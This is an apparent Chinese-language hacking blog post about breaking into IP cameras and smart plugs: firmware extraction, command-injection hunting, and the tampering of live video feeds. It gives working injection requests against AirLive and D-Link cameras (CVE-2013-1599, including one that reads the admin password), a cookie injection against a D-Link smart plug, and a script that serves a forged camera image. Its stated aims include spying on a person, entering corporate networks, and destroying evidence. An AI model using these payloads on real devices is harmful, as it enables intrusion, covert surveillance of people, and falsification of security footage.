Hacking ipcam like Harold in POI
List
0x00 針對ipcam的攻擊目和前期準備
0x01 對於嵌入式裝置引數注入漏洞的常規武器和分析方法
0x02 幾個精彩的case
0x03 Hacking like POI
0x00 前期準備
本次我們討論的是分析智慧攝像頭韌體,透過引數注入的方式達到遠端命令注入或程式碼執行的目的,此外,還將思考如何像一個電影駭客一樣篡改畫面,透過攝像頭潛入內網
我能做什麼
控制攝像頭,監(tou)視(kui)女神
透過攝像頭為邊界入口,進入企業內網
篡改攝像頭實時畫面,銷燬證據
Target
網路攝像頭(IPCam
)
由影片伺服器和攝像頭的整合,通常是linux系統
,內建一個web server
,畫面實時傳輸,一般沒有影片儲存功能(本次重點介紹的攻擊物件)
數字影片錄影機(DVR/NVR
)
進行影像儲存處理,可錄影,錄音,遠端監控等等,大概分為PC式和嵌入式,作業系統不固定,只要處理裝置裝有處理軟體即可,有影片儲存功能(可回放)
中央閉路電視(CCTV
)
中央電視臺?(大霧!)影像通訊系統,和DVR/NVR
結合起來,透過雙絞線(搞不動),光纜(搞不動),網路(可以搞!)接收影像訊號,監控室裡常見~
監控雲平臺
透過雲平臺集中管理多個裝置(web狗表示輕鬆搞)
引申的其他智慧裝置
智慧路由器/智慧插座...
Method
1)通常分析,選擇目標裝置的韌體,透過binwalk
,Firmware-Mod-Kit
,foremost
提取分離韌體
2)而逆向,程式碼除錯還需要用到IDA
(ARM or MIPS
),用QEMU
來進行模擬
3)也可以直接購買裝置透過拆卸的方式進行,在裝置主機板的JTAG
介面直接提取快閃記憶體,存放著系統資訊,相當於硬碟,有多個分割槽,通常是bootloader
(初始化裝置),kernel
(系統核心),Filesystem
(檔案系統,有我們需要的rootfs
等等),NVRAM
(存放裝置配置檔案)
4)因為下載韌體分析是不用花錢的,所以降低了攻擊者的攻擊成本
常規流程
1)下載韌體分析檔案結構並提取
binwalk -eM firmware.bin
binwalk firmware.bin --dd=型別:儲存下來的副檔名
./extract-firmware.sh firmware.bin
2)解包/掛載/解壓提取的檔案,確定web
指令碼,配置檔案和二進位制服務檔案
lzma -d xxx.lzma
./unsquashfs_all.sh xxx.squashfs
如果使用fmk
通常不用手動解包,fmk
解包後得到資料夾中log
為binwalklog
,rootfs
為解包檔案
3)開始分析檔案(將elf載入ida逆向 or 對指令碼檔案白盒審計) 因為有web
應用所以web
方向的攻擊技巧都可以輪一遍
因為firmware
拿C寫的,所以有機會存在BOF
4)除錯驗證漏洞 透過QEMU
虛擬裝置,或者直接在真實裝置上測試
0x01 裝置的引數注入
誠如我們所說,裝置帶有web
,所以所有web
存在的漏洞利用都可以嘗試,其功能實現有可能是指令碼檔案(php
,asp
,cgi?
)也有可能直接寫死在bin裡,每次引數傳遞直接透過二進位制檔案交給server
處理
然而不管是哪種處理方式,都離不開http
請求,如果在審計過程中發現了引數注入的問題,即可遠端利用執行
常見的危險函式:popen,system,exec... 尋找透過危險函式方法處理的變數,跟蹤變數找到可控點,判斷資料傳入處理,構造payload
,exploit
curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`
當然,如果裝置處理請求透過指令碼處理也是一樣的,分析方法參考常見的審計方法
怎麼穩準狠抓到漏洞
1)因為我們討論的是引數注入導致的命令執行或者程式碼執行,所以我們關注的應該是功能實現需要呼叫到系統命令的功能,比如reboot
,searchmac
,delete
,record
之類等功能性檔案
2)靈活使用hexdump
3)機智利用strings
來快速定位漏洞可能存在的檔案
strings * -n 5|grep "popen"
利用引數汙染繞過簡單防禦
因為廠商認為裝置是個黑盒子,所以安全實現非常糙,通常對資料傳入沒有防禦過濾,即便有的情況也可以透過技巧繞過,引數汙染就是一種
/vul.cgi?a=whoami&a=test
php中獲取的是最後一個引數
cgi中獲取的是第一個引數
asp中獲取的是所有引數
0x02 case
AirLive Command Injection
其中cgi_test.cgi
可以為授權訪問,在處理 write_mac
, write_pid
, write_msn
, write_tan
, write_hdv
的時候會造成命令注入
sub_93F4
STMFD SP!, {R4-R7,LR}
LDR R0, =aQuery_string ; "QUERY_STRING"
SUB SP, SP, #4
BL getenv
使用QUERY_STRING
獲取?
後面的值作為引數,傳參之後會呼叫info_writer
這個檔案,最終呼叫system()
執行
MOV R2, R5
LDR R1, =aOptIpncInfo__1 ; "/opt/ipnc/info_writer -p %s > /dev/null"
MOV R0, SP
BL sprintf
MOV R0, SP
BL system
MOV R2, R5
LDR R1, =aWrite_pidOkPid ; "WRITE_PID OK, PID=%s\r\n"
LDR R0, =unk_1977C
MOV R4, SP
BL sprintf
B loc_9728
AirLive Command Injection Pwned
所以我們完全可以在傳入幾個受影響的引數後注入;或者&&的方式來注入我們的惡意命令
/cgi_test.cgi?write_pid&;id&
/cgi_test.cgi?write_pid&&&id&
D-link Command Injection(CVE-2013-1599)
這是個影響很大的洞,至今依舊影響很多基於D-link韌體二次開發的攝像頭(尤其國內廠商)
在/var/www/cgi-bin/
中,rtpd.cgi
檔案成為了豬隊友
echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces."
. $conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
case $action in
start)
$script start
;;
stop)
$script stop
;;
...
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
程式碼本意是要在?後傳入action控制裝置狀態,奈何開發暴露智商,$QUERY_STRING
取問號後的值將&
替換後eval
執行。。。?傳值完全可控
D-link Command Injection PWNed
/cgi-bin/rtpd.cgi?id
/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
D-Link DSP-W110 Smart Plug
其實,掌握這個技能是可以衍生到其他大部分智慧裝置的,比如6月我發現的dlink
智慧插座漏洞(然而被捂爛)
漏洞成因比較簡單,http
請求中cookie
的內容未經過任何處理,直接傳遞給了sprintf()
呼叫併為了驗證身份入庫查詢,因此形成了一個sqli
,然而sql
查詢直接傳給了popen()
還造成了命令執行
request.c
中將cookie
欄位完整的負值給了hnap_cookie
,之後在mod_hnap.c
被被getHNAPCookie
函式處理直接被sprintf()
拼接成了sql
語句並直接查詢,造成sqli
D-Link DSP-W110 Smart Plug PWNed
接下來,沒有對任何資料進行處理直接把拼好的查詢交給了popen(WTF???)
造成命令執行
curl --cookie "terribleness='\`echo "ztz_162"\`" ip
可以看出,我們分析的三個命令執行漏洞,統一思路基本如下:
- 1)提取韌體,拿到解包後的二進位制檔案或指令碼檔案
- 2)載入ida獲取彙編程式碼或虛擬碼,定位危險函式,尋找可控變數
- 3)利用已有姿勢(繞過簡單防禦)構造payload
- 4)一定要相信智慧裝置才起步,廠商做的盒子都非常糙,一定有逗比開發寫逗比程式碼
0x03 Hacking like POI!
美劇《疑犯追蹤》中,大駭客Harold的AI
主要就是透過ipcam
進行分析,看上去酷炫的不要不要的,那麼我們能不能達到POI
中的一些篡改畫面效果?yep
(請忽略我拓撲圖的水印,原圖我找不到了)這裡需要區分ipcam
沒有儲存,所以影片傳輸都是實時的,而DVR/NVR
有專門的儲存裝置,我們這裡討論的是ipcam
的實時傳輸篡改
原理很簡單,大部分ipcam
實現傳輸畫面透過兩種方式,透過流,或鏡頭拍下圖片後實時重新整理圖片反饋到畫面
由此,我有了篡改的想法,kill
傳輸流的程式使之畫面凍結,或篡改鏡頭拍下的圖片使之完成篡改
如果結合我們透過漏洞挖掘發現的命令注入,還能達到遠端篡改的效果
然而,仔細思考會發現,這並不是一個最佳的hacking
手法,如果kill
程式凍結,對方重新整理管理潔面後,程式重新啟動,如果篡改圖片,如何保證接下來鏡頭拍下的圖片不覆蓋我們的篡改圖片
經過機智的我深思,如果我把正常傳輸程式抓包,模擬他的發包傳輸我自己的篡改圖片,或者做一個類似MITM
的中間人攻擊,把正常程式發包圖片替換,就可以完成完美篡改了!(此處應有掌聲,應有現場演示,然而議題被取消了QAQ)
Trendnet
的一款ipcam
中,順利達到了這個效果,透過分析知道mjpg.cgi
控制影片流傳輸,利用之前所說kill
程式使其畫面凍結,成功篡改了畫面(此處應該有演示,然而。。。)
當然,如果裝置是透過不斷重新整理圖片的方式達到實時效果而不是rtsp
這樣的實時傳輸協議也可以透過我之前blog說過的利用發包強佔
#!/bin/sh
echo -ne “HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n”
cat ztzsb.jpg
稍微機靈一點,我們可以結合命令執行的方式,再cgi指令碼中加入執行我們的bash
指令碼然後遠端利用
總結一下,如何在挖掘過程中找到可利用的劫持方式
- 找到目標攝像頭並確定其版本,型號,對韌體進行下載分析
- 利用之前該版本爆出過的漏洞或者自己對韌體分析後得到的漏洞獲取會話
- 確定用於影片流傳輸的協議
- 找到處理影片流的CGI
- 分析指令碼檔案,找到指令碼中的功能函式
- 有些攝像頭韌體是沒有動態指令碼的,功能處理都寫在
server
的bin
中,所以還要分析server
的bin
檔案
你看到的不是真的,hack it!
最後安利一個工具:videojak是一個很簡單的ipcam
的安全測試工具,它可以在你獲取到的ipcam
中做一個類似MITM
的中間人攻擊,直接劫持整個畫面的傳輸流,或者重放上一個傳輸流
LAST
未來社會是IOT社會,智慧裝置的出現便利了生活,工作,也帶來了各種安全隱患,本文中所涉及到的漏洞仍不屬於主流利用的,更多的惡意利用是在公共網路空間中開放暴露的裝置弱口令,預設口令,官方預留後門
去年的海康威視黑天鵝事件就給公眾敲響警鐘,今年4月我提及到的大華DVR37777埠開放的問題也在全國有很大影響,甚至Z-0ne早在3月就出了完整報告,然而都沒有得到更多重視
WTF!
相關文章
- Hacking PostgreSQL2020-08-19SQL
- Hacking weblogic2020-08-19Web
- Hacking with Unicode2020-08-19Unicode
- Hacking Hit Tests2019-02-27
- Embedded devices hacking2020-08-19dev
- Hacking Oracle with Sql Injection2020-08-19OracleSQL
- [ARC059F] Unhappy Hacking2024-04-01APP
- URL Hacking - 前端猥瑣流2020-08-19前端
- Pocket Hacking: NetHunter實戰指南2020-08-19
- 滲透Hacking Team過程2020-08-19
- Like Sunday, Like Rain - JavaScript運算子優先順序2018-06-14AIJavaScript
- POI20142024-05-01
- POI讀寫2020-10-26
- POI 2014 Couriers2020-10-03
- Hacking Team攻擊程式碼分析2020-08-19
- Hacking Team系列 Flash 0Day分析2020-08-19
- Hacking Team 新 Flash 0day分析2020-08-19
- Hacking the D-Link DIR-890L2020-08-19
- Apache POI 建立 Excel2024-10-02ApacheExcel
- easyExcel & poi 比較2024-06-15Excel
- MyBatis模糊查詢LIKE2018-07-10MyBatis
- how to build a website like apkmirror2021-08-17UIWebAPK
- 從“COK-like”與 “率土-like”入手 探究SLG的成功祕訣2020-01-09
- POI生成EXCEL檔案2018-06-25Excel
- POI2012STU-Well2024-04-25
- POI2012SQU-Squarks2024-04-25
- POI2012RAN-Rendezvous2024-04-25
- POI2012PRE-Prefixuffix2024-04-25
- POI2012ODL-Distance2024-04-25
- POI2012FES-Festival2024-04-25
- POI2010CHO-Hamsters2024-04-18
- poi解析Excel內容2020-08-26Excel
- poi 匯出 例項2020-11-05
- poi的excel匯出2024-08-21Excel
- java使用poi生成excel2022-04-16JavaExcel
- mybatis like 查詢的例子2024-10-05MyBatis
- treevalue——Master Nested Data Like Tensor2022-02-14AST
- 狗汪汪玩轉無線電 -- GPS Hacking (上)2020-08-19